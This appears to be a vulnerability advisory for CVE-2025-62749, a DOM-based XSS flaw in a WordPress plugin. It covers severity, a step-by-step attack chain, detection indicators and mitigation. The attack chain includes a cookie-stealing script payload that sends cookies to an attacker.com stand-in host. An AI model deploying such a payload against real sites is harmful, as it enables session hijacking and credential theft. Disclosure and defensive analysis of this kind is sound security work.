CVE-2025-62749: 
WordPress vulnerability analysis and mitigation

CVE-2025-62749 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Bainternet "User Specific Content" WordPress plugin, affecting all versions through 1.0.6. The vulnerability was reported by Muhammad Yudha - DJ on October 18, 2025, and publicly disclosed by Patchstack on December 31, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium), assigned by Patchstack as the CNA (Patchstack). At the time of disclosure, no official patch from the plugin vendor was available (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and manifests specifically as DOM-Based XSS, meaning malicious script execution occurs client-side within the browser's DOM without necessarily reflecting through the server response. Exploitation requires the attacker to hold at least Contributor or Developer-level privileges on the WordPress site, and successful execution additionally requires a privileged user to interact with attacker-controlled content (e.g., clicking a malicious link or visiting a crafted page). The attack vector is network-based with low complexity, and the scope is changed, indicating impact can extend beyond the vulnerable component to affect other users' sessions (Patchstack).

Successful exploitation allows an authenticated attacker to inject malicious JavaScript into pages rendered by the User Specific Content plugin, which executes in the browsers of other users who visit the affected content. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims, or redirection to malicious sites. The changed scope in the CVSS vector indicates that the impact extends beyond the attacker's own session to affect other users of the WordPress site (Patchstack).

There is no public evidence of active in-the-wild exploitation or weaponized exploit code for CVE-2025-62749 at this time. The EPSS score is approximately 0.034% (0.000340), indicating a very low probability of exploitation in the near term (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack rates this as low priority, noting it is unlikely to be exploited, though they acknowledge that XSS vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress plugins (Patchstack).

1. Reconnaissance: Identify WordPress sites running the User Specific Content plugin version 1.0.6 or earlier, using tools such as WPScan or by inspecting plugin directories.
2. Obtain required privileges: Gain at least Contributor or Developer-level access to the target WordPress site (e.g., via credential theft, brute force, or social engineering).
3. Inject malicious payload: Create or edit content managed by the User Specific Content plugin, embedding a DOM-Based XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in an input field that is not properly sanitized before being written to the DOM.
4. Trigger victim interaction: Distribute a link or craft a scenario where a higher-privileged user (e.g., administrator) visits the page containing the injected payload.
5. Achieve objective: The victim's browser executes the injected script, enabling session cookie theft, credential harvesting, or other malicious actions on behalf of the attacker (Patchstack).

• Logs: WordPress access logs showing unusual POST or GET requests to pages managed by the User Specific Content plugin containing encoded JavaScript or HTML payloads (e.g., <script>, javascript:, onerror=, onload=).
• File System: Unexpected modifications to plugin files in wp-content/plugins/user-specific-content/ that may indicate tampering.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages with User Specific Content plugin output, potentially indicating data exfiltration (e.g., cookie or credential theft).
• Logs: WordPress audit logs (if enabled) showing content edits by Contributor or Developer accounts inserting script tags or event handler attributes into plugin-managed content.

As of the disclosure date (December 31, 2025), no official patch from the plugin vendor (Bainternet) was available for the User Specific Content plugin (Patchstack). Site administrators should consider deactivating and removing the plugin until a patched version is released. As a compensating control, restrict Contributor and Developer role assignments to trusted users only, and deploy a WordPress security plugin or WAF (such as Patchstack, Wordfence, or similar) capable of virtually patching XSS vulnerabilities. Monitor the plugin's WordPress.org repository and vendor communications for patch availability.

The vulnerability was discovered by security researcher Muhammad Yudha - DJ and reported through Patchstack's vulnerability disclosure program. Patchstack classified it as low priority and noted it is unlikely to be exploited in a targeted manner, though XSS vulnerabilities in WordPress plugins are frequently leveraged in mass-exploit campaigns (Patchstack). No significant broader media coverage or notable social media discussion beyond automated CVE tracking feeds was observed.